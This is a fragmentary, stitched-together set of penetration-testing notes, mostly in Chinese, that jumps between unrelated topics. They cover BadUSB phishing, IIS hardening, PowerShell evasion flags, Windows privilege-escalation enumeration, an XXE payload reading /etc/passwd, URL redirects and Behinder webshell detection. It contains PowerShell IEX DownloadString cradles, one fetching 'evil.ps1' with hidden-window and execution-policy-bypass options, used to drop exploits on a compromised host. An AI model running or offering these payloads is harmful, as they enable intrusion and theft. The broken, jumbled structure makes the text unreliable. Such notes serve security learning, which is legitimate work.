BadUSB Phishing CS released

Use the tool Digispark, shaped like a USB memory stick, and use the Arduino compilation to burn programs into it.

Install Arduino debugging software

1. Open the Arduino website Arduino - Home and click Software.

Web 安全加固

防止 web 中.mdb 数据库文件非法下载

管理工具->IIS 管理器->网站->Default Web Site->请求筛选->右键文件拓展名->拒绝文件拓展名，添加拓展名.mdb

内网信息收集

辅助命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

// 隐藏窗口
-W Hidden
-WindowStyle Hidden

//非交互模式，不为用户提供交互提示
-NonI
-NonInteractive

//使用IEX（Invoke-Expression）进行远程脚本下载
-IEX(New-ObjectNet.WebClient).DownloadString("127.0.0.1/evil.ps1") 

//不加载当前用户的配置文件
-NoP
-NoProfile

//显示logo的启动
-NoLogo

//执行后不退出shell，常用于键盘记录等
-noexit

参考文章

• windows 常见 backdoor、权限维持方法及排查技术

系统工具替换后门

排查：autoruns 工具，下载地址： Autoruns for Windows v13.98
此后门易被检测
类似可被替换的程序有：

• osk.exe
• Narrator.exe
• Magnify.exe

常用工具

后门检测工具

• chkrootkit
• rkhunter

系统急救恢复、后门分析取证

• LiveCD

简介

• 闲聊 Windows 系统日志

早期版本中 Windows 日志只有，应用程序，安全，系统和 Setup，新的版本中增加了设置及转发事件日志（默认禁用）。

系统内置的三个核心日志文件（System，Security 和 Application）默认大小均为 20480KB（20MB），记录事件数据超过 20MB 时，默认系统将优先覆盖过期的日志记录。其它应用程序及服务日志默认最大为 1024KB，超过最大限制也优先覆盖过期的日志记录。

登录成功不代表一定是 rdp 登录，所有事件的登录类型都是 4624

系统内核溢出漏洞

手动执行发现缺失补丁

• 当获取到目标机器的 shell 以后，可以通过如下命令来看系统安装了哪些补丁，还具有哪些漏洞

1
2
3
4

whoami /groups //根据下面的Mandatory Label\Medium Mandatory Level 来看自己是一个什么权限

systeminfo //查看当前系统安装了哪些补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn //查看当前系统安装了哪些补丁

• 使用上传或者[[powershell]]的下载功能来将 exp 放到目标机里边

1

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('192.168.1.1');执行的代码。。。"

XXE 漏洞

参考：

• https://xz.aliyun.com/t/3357

Payload

有回显的 XXE

1
2
3
4
5

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY resek4 SYSTEM "file:///etc/passwd">
]>
<login>&resek4;</login>

URL 跳转漏洞

0x00.参考文章

• https://www.cnblogs.com/linuxsec/articles/10926152.html

• https://ninjia.gitbook.io/secskill/web/url

0x01.概念

这类漏洞属于低危漏洞，但是如果有操作或许可以打组合拳

此类漏洞会出现在造成网页跳转的页面

V2.1

• 冰蝎-特征检测及报文解密

• 冰蝎 v2.0.1-动态二进制加密网站管理客户端源码分析

• 红蓝对抗——加密 Webshell“冰蝎” 流量 100% 识别

V3.0

• 原理解释： 冰蝎 Behinder 3.X （这个原理针对Beta1，最新您Beta6在content部分加了混淆）
• 冰蝎的前世今生：3.0 新版本下的一些防护思考
• 安全实验室 | 冰蝎 3.0 绕过 HIDS 原理分析
• 冰蝎 3.0-分析系列 3-jsp-beta4,5
• 冰蝎 3.0 流量分析与还原